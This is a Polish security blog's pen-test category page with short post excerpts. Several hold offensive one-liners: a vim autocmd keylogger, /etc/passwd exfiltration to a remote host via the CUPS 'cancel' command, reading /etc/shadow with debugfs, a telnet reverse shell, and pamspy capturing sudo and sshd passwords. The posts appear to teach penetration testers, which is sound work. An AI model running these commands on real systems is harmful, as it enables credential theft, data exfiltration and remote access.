Napisał: Patryk Krawaczyński
25/05/2023 w Bezpieczeństwo, Pen Test
O
penSSH – Secure Shell Server zapewnia bezpieczny, szyfrowany zdalny dostęp do systemów *niksowych. Po stronie serwera znajduje się plik authorized_keys
w katalogu .ssh (głównym folderze użytkownika), w którym można skonfigurować uwierzytelnianie za pomocą klucza publicznego. Przy normalnej konfiguracji użytkownik uzyskuje pełny dostęp do systemu, w którym skonfigurowano uwierzytelnianie. Jednak w niektórych przypadkach, takich jak automatyczne operacje na zdalnych serwerach (np. wdrażanie kodu, tworzenie kopii zapasowych, uruchamianie konkretnych skryptów), sensowne jest ograniczanie dostępu do kilku lub nawet jednego polecenia. Oprócz ograniczenia poleceń dla danego użytkownika zapobiegamy również kompromitacji zdalnego serwera w przypadku przejęcia klucza prywatnego.
[ czytaj całość… ]
Napisał: Patryk Krawaczyński
20/04/2023 w Pen Test
J
akiś czas temu zapoznaliśmy się z danymi rejestracyjnymi nazw domenowych WHOIS. Ich odwrotnością są bazy, które oprócz nazw domenowych indeksują inne metadane, aby później na ich podstawie zidentyfikować inne domeny. Tak działają właśnie bazy reverse whois – odnoszą się do pobierania wszystkich dostępnych informacji o określonej nazwie domeny. Możemy na przykład użyć dowolnej informacji zwykle widocznej w typowym rekordzie WHOIS (np. nazwisko właściciela domeny, nazwę firmy, adres e-mail itp.), aby wyszukać wszystkie nazwy domen, które mają te same metadane. Pomyślmy o tym w ten sposób: nie musimy już grzebać w rekordach DNS, aby ustalić jakie inne domeny należą do firmy “X”. Wystarczy, że znamy jej główną domenę. Za pomocą polecenia whois
dla tej domeny możemy skupić się na charakterystycznej informacji i sprawdzić z jakimi innymi domenami jest ona jeszcze powiązana. Przykład:
whois hackergathering.com
...
Registrant Organization: Cyber Illuminati
Registrant Country: PL
...
Jeśli teraz przeszukamy bazy reverse whois szukając wartości rekordu: Cyber Illuminati w polu Owner name / Company name to powinniśmy otrzymać wszystkie inne domeny, które zostały założone przez organizację CI. Przykład – John Smith jest właścicielem 45,755 domen. Z kolei po adresie e-mail rejestratora Aftermarket możemy zobaczyć domeny za jakie jest odpowiedzialny, czy jakie domeny posiada firma OVH.
Więcej informacji: Whoxy, WhoisXML, DomainTools, ViewDNS, ReverseWhois
Napisał: Patryk Krawaczyński
06/03/2023 w Pen Test
Jeśli dodamy poniższą linijkę do pliku ~/.vimrc
lub ~/.vim/plugins/keylogger.vim
:
:autocmd BufWritePost * :silent :w! >> /dev/shm/keylogger.txt
To wszystkie wpisane dane wpisane w edytorze wylądują w pliku /dev/shm/keylogger.txt. Dla osób stojących po drugiej stronie wojny edytorów – jeśli do pliku ~/.nanorc
lub /etc/nanorc
wpisy:
set backup
set backupdir /dev/shm
set allow_insecure_backup
To kopie zapasowe edytowanych plików wylądują w katalogu /dev/shm/:
root@stardust:~# ls -al /dev/shm/
total 8
drwxrwxrwt 2 root root 80 Mar 6 20:17 .
drwxr-xr-x 18 root root 4120 Feb 11 17:58 ..
-rw-r----- 1 root root 31 Mar 6 20:09 keylogger.txt
-rw-r----- 1 root root 22 Mar 6 20:09 '!root!passwords.txt~'
Jeśli pliki konfiguracyjne mają zostać pominięte przy uruchomieniu wystarczy uruchomić je z opcjami:
nano -R [plik]
vim -u NONE [plik]
Więcej informacji: Alh4zr3d on Twitter
Napisał: Patryk Krawaczyński
19/02/2023 w Pen Test
Na przejętej maszynie, z której chcemy wyprowadzić jakieś dane (tutaj: /etc/passwd
), a posiada ona pakiet cups-client
lub lprng
zapewniający programy klienckie wydruku w stylu System V – możemy wykonać polecenie:
cancel -u "$(cat /etc/passwd | base64)" -h 10.0.0.1:31337
Na zdalnej maszynie (o adresie IP: 10.0.0.1), na której prowadzimy odbiór danych powinniśmy zobaczyć:
root@darkstar:~# nc -nlvp 31337
Listening on 0.0.0.0 31337
Connection received on 10.0.0.2 45280
POST /admin/ HTTP/1.1
Content-Length: 2650
Content-Type: application/ipp
Date: Sun, 19 Feb 2023 21:40:29 GMT
Host: 10.0.0.1:31337
User-Agent: CUPS/2.4.1 (Linux 5.15.0-58-generic; x86_64) IPP/2.0
Expect: 100-continue
9Gattributes-charsetutf-8Httributes-natural-languageen-usE
printer-uriipp://localhost/printers/Brequesting-user-name
cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Iv
c2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9n
aW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5
bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmlu
L25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4K
bHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODpt
YWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9v
bC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVj
cDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25v
bG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dp
bgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxp
c3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9n
aW4KaXJjOng6Mzk6Mzk6aXJjZDovcnVuL2lyY2Q6L3Vzci9zYmluL25vbG9naW4KZ25hdHM6eDo0
MTo0MTpHbmF0cyBCdWctUmVwb3J0aW5nIFN5c3RlbSAoYWRtaW4pOi92YXIvbGliL2duYXRzOi91
c3Ivc2Jpbi9ub2xvZ2luCm5vYm9keTp4OjY1NTM0OjY1NTM0Om5vYm9keTovbm9uZXhpc3RlbnQ6
L3Vzci9zYmluL25vbG9naW4KX2FwdDp4OjEwMDo2NTUzNDo6L25vbmV4aXN0ZW50Oi91c3Ivc2Jp
bi9ub2xvZ2luCnN5c3RlbWQtbmV0d29yazp4OjEwMToxMDI6c3lzdGVtZCBOZXR3b3JrIE1hbmFn
ZW1lbnQsLCw6L3J1bi9zeXN0ZW1kOi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtcmVzb2x2ZTp4
OjEwMjoxMDM6c3lzdGVtZCBSZXNvbHZlciwsLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG9n
aW4KbWVzc2FnZWJ1czp4OjEwMzoxMDQ6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgpz
eXN0ZW1kLXRpbWVzeW5jOng6MTA0OjEwNTpzeXN0ZW1kIFRpbWUgU3luY2hyb25pemF0aW9uLCws
Oi9ydW4vc3lzdGVtZDovdXNyL3NiaW4vbm9sb2dpbgpwb2xsaW5hdGU6eDoxMDU6MTo6L3Zhci9j
YWNoZS9wb2xsaW5hdGU6L2Jpbi9mYWxzZQpzc2hkOng6MTA2OjY1NTM0OjovcnVuL3NzaGQ6L3Vz
ci9zYmluL25vbG9naW4Kc3lzbG9nOng6MTA3OjExMzo6L2hvbWUvc3lzbG9nOi91c3Ivc2Jpbi9u
b2xvZ2luCnV1aWRkOng6MTA4OjExNDo6L3J1bi91dWlkZDovdXNyL3NiaW4vbm9sb2dpbgp0Y3Bk
dW1wOng6MTA5OjExNTo6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnRzczp4OjExMDox
MTY6VFBNIHNvZnR3YXJlIHN0YWNrLCwsOi92YXIvbGliL3RwbTovYmluL2ZhbHNlCmxhbmRzY2Fw
ZTp4OjExMToxMTc6Oi92YXIvbGliL2xhbmRzY2FwZTovdXNyL3NiaW4vbm9sb2dpbgp1c2JtdXg6
eDoxMTI6NDY6dXNibXV4IGRhZW1vbiwsLDovdmFyL2xpYi91c2JtdXg6L3Vzci9zYmluL25vbG9n
aW4KYWdyZXNvcjp4OjEwMDA6MTAwMDphZ3Jlc29yOi9ob21lL2FncmVzb3I6L2Jpbi9iYXNoCmx4
ZDp4Ojk5OToxMDA6Oi92YXIvc25hcC9seGQvY29tbW9uL2x4ZDovYmluL2ZhbHNlCmZ3dXBkLXJl
ZnJlc2g6eDoxMTM6MTE4OmZ3dXBkLXJlZnJlc2ggdXNlciwsLDovcnVuL3N5c3RlbWQ6L3Vzci9z
YmluL25vbG9naW4K"my-jobs"
Więcej informacji: Alh4zr3d on Twitter, File upload (GTFOBins), cancel(1)
Napisał: Patryk Krawaczyński
17/12/2022 w Pen Test
P
oniżej zaprezentuje, jak za pomocą polecenia mount ukryć dowolny proces w systemie przed takim poleceniem jak np. ps. Dokonamy tego dzięki funkcji bind. Klasyczne montowanie tworzy widok urządzenia pamięci masowej jako drzewa katalogów. Funkcja bind zamiast tego pobiera istniejące drzewo katalogów i replikuje je w innym punkcie. Montując katalog w ten sposób możemy myśleć o montowaniu jak o aliasie do innej ścieżki. Katalogi i pliki w są takie same jak w oryginale. Każda modyfikacja po jednej stronie jest natychmiast odzwierciedlana po drugiej stronie, ponieważ oba widoki przedstawiają te same dane. Na przykład, kiedy powiążemy katalog /tmp/narf
z /tmp/nfsec
, oba będą odwoływać się do tych samych danych:
[ czytaj całość… ]
Napisał: Patryk Krawaczyński
11/12/2022 w Pen Test
root@darkstar:~# debugfs
debugfs 1.44.1 (24-Mar-2018)
debugfs: open /dev/vda1
debugfs: cd /etc
debugfs: cat shadow
root:$6$HeeGzA.awU7P35OuN6GbBHl7yAwIDmelemelekIiaGLVYA8/hNKI1:19290:0:99999:7:::
Więcej informacji: 0xm1rch
Napisał: Patryk Krawaczyński
12/11/2022 w Pen Test
Na atakowanej maszynie, na której mamy możliwość RCE (ang. Remote Code Execution) wydajemy polecenie:
mkfifo /tmp/rsh; sh -i 2>&1 < /tmp/rsh | telnet 127.0.0.1 31337 > /tmp/rsh; rm /tmp/rsh
Więcej informacji: Alh4zr3d on Twitter
Napisał: Patryk Krawaczyński
08/10/2022 w Pen Test
W
iele nowoczesnych serwisów internetowych stosuje automatyczne wydawanie i odnawianie certyfikatów TLS. Dla firm dostępne są usługi komercyjnych wystawców SSL. Dla wszystkich innych dostępne są bezpłatne usługi, takie jak Let’s Encrypt i ZeroSSL. Jednak bardzo często popełniany jest błąd w sposobie w jaki konfiguruje się wdrożenie darmowych wersji certyfikatów TLS. Pozwala on każdemu odkryć prawie wszystkie nazwy domen i subdomen używanych przez ten sam serwer webowy. Jak wiemy, istnieje takie coś jak Certyficate Transparency (CT), czyli internetowy standard bezpieczeństwa służący do monitorowania i audytu wystawiania certyfikatów TLS. Tworzy on system logów publicznych, które służą do rejestrowania wszystkich certyfikatów wydawanych przez publicznie zaufane urzędy certyfikacji (CA). Do przeszukiwania dzienników CT możemy używać serwisów: crt.sh, certstream, a także Censys, który również pozwala na przeszukiwanie wyników skanowania certyfikatów w internecie.
[ czytaj całość… ]
Napisał: Patryk Krawaczyński
14/07/2022 w Bezpieczeństwo, Pen Test
N
arzędzie pamspy jest programem, który został zainspirowany przez podobną pracę, ale stworzoną znacznie wcześniej (Brendon Tiszka poczynił to dzieło na swoich studiach): 3snake. W przeciwieństwie do swojego poprzednika nie korzysta już z mechanizmu odczytu pamięci wywołań systemowych sshd i sudo, które obsługują uwierzytelnianie oparte na hasłach, ale wykorzystuje technologię eBPF. Dzięki temu jest w stanie śledzić konkretną funkcję w przestrzeni użytkownika wewnątrz biblioteki PAM (ang. Pluggable Authentication Modules) używanej przez wiele krytycznych aplikacji (sudo, sshd, passwd, gnome, X11 itp.) do obsługi uwierzytelniania. Ponieważ pamspy opiera się na libpam przed uruchomieniem programu musimy podać ścieżkę, gdzie biblioteka ta jest zainstalowana na naszej dystrybucji. W tym celu należy wydać następujące polecenie:
ldconfig -p | egrep -o '\/.*libpam\.so.*'
Po uzyskaniu ścieżki możemy uruchomić program:
sudo ./pamspy -p /lib/x86_64-linux-gnu/libpam.so.0
Załaduje on program eBPF, aby podczepić się pod funkcję pam_get_authtok
z libpam.so. Za każdym razem, gdy proces uwierzytelnienia spróbuje sprawdzić nowego użytkownika, wywoła on wspomnianą funkcję pam_get_authtok
, a pamspy będzie na konsolę zrzucać zawartość krytycznych sekretów. Jeśli teraz w drugiej konsoli zalogujemy się do serwera i podniesiemy swoje uprawnienia program powinien odnotować ten fakt:
1500 | sshd | agresor | K0ci.0g0n
1528 | sudo | agresor | K0ci.0g0n
3815 | passwd | agresor | P5i3.U5zy
Jeśli chcemy przeprowadzić kompilację programu ze źródeł to wymaga on kilku pakietów (Ubuntu 22.04):
apt install git make clang-11 gcc libelf-dev pkg-config -y
apt install linux-tools-common linux-tools-5.15.0-41-generic -y
git clone https://github.com/citronneur/pamspy --recursive
cd pamspy/src
make
Nie musimy kompilować programu od podstaw, ponieważ w repozytorium jest już także plik zbudowany jako statyczna binarka bez żadnych zależności.
Więcej informacji: pamspy
Napisał: Patryk Krawaczyński
25/05/2022 w Bezpieczeństwo, Pen Test
W
yobraźmy sobie, że nasz system został zainfekowany przerobionym i trudnym do wykrycia implantem sieciowym. W swojej przeróbce został on uzbrojony w moduł inwigilacji oparty o eCapture. Jest to zwinne narzędzie napisane w języku Go, które również wykorzystuje technologię eBPF. Umożliwia ona uruchamianie programów zamkniętych w piaskownicy jądra systemu operacyjnego. Dzięki temu potrafi przechwycić zaszyfrowaną komunikację sieciową bez konieczności “podpinania” Urzędu Certyfikacji (ang. Certificate Authority), któremu należy zaufać. Zamiast tego wpina się w funkcje SSL_write
/ SSL_read
współdzielonej biblioteki SSL, aby uzyskać kontekst tekstowy i wysłać tak uzyskane wiadomości do przestrzeni użytkownika za pomocą map eBPF.
[ czytaj całość… ]
Ostatni komentarz :